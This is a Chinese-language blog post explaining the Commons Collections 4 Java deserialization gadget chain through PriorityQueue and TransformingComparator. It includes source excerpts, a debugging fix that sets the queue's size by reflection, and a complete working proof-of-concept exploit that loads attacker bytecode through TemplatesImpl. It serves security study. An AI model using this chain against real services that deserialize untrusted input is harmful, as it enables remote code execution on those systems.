CC4

S1naG0u Lv2

本文详细分析了Commons Collections 4链的利用原理,通过TransformingComparator.compare()方法触发chainedTransformer.transform(),利用PriorityQueue的readObject()方法在反序列化时自动触发heapify()和siftDownUsingComparator()方法。

危险方法分析

同CC3都是利用TemplatesImpI.getTransletInstance()通过类加载来实现危险类加载

利用链分析

TransformingComparator.compare()处存在对transform()方法的调用

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

在此处传入之前的chainedTransformer即可调用chainedTransformer.transform()

查看TransformingComparator的构造方法

1
2
3
4
5
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

transformer是可以直接传入的,这样就构造好了前半部分的链子

同样向上寻找谁调用了TransformingComparator.compare()

找到了一个PriorityQueue.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

此处调用了一个heapify()

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

此处又使用了一个siftDown()

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

此处又有一个siftDownUsingComparator()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

最后在此处会发生comparator.compare()comparator刚刚好也可以通过构造方法传入

1
2
3
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}

利用链构造

首先还是同CC3一样构造一个可以chainedTransformer用来被调用transform()执行危险类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

将构造好的chainedTransformer传入TransformingComparator

1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

再将构造好的transformingComparator传入PriorityQueue

1
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

此时完整的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

Serialize(priorityQueue);
UnSerialize("CC4.bin");
}

按理来说可以弹出计算器了,但是实际并没有

动调一下看看

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

发现此处的size0无法满足i >= 0的判断,也就无法进入siftDown()

想要解决这个问题就需要在构造时对size的值进行反射处理,当size>=2时发现刚刚好可以使i >= 0

所以添加一步反射处理的过程

1
2
3
4
Class<? extends PriorityQueue> priorityQueueclass = priorityQueue.getClass();
Field size = priorityQueueclass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

Class<? extends PriorityQueue> priorityQueueclass = priorityQueue.getClass();
Field size = priorityQueueclass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

Serialize(priorityQueue);
UnSerialize("CC4.bin");
}
}
  • 标题: CC4
  • 作者: S1naG0u
  • 创建于 : 2025-03-04 15:49:49
  • 更新于 : 2025-08-12 16:17:38
  • 链接: https://s1nag0u.github.io/2025/03/04/CC4/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。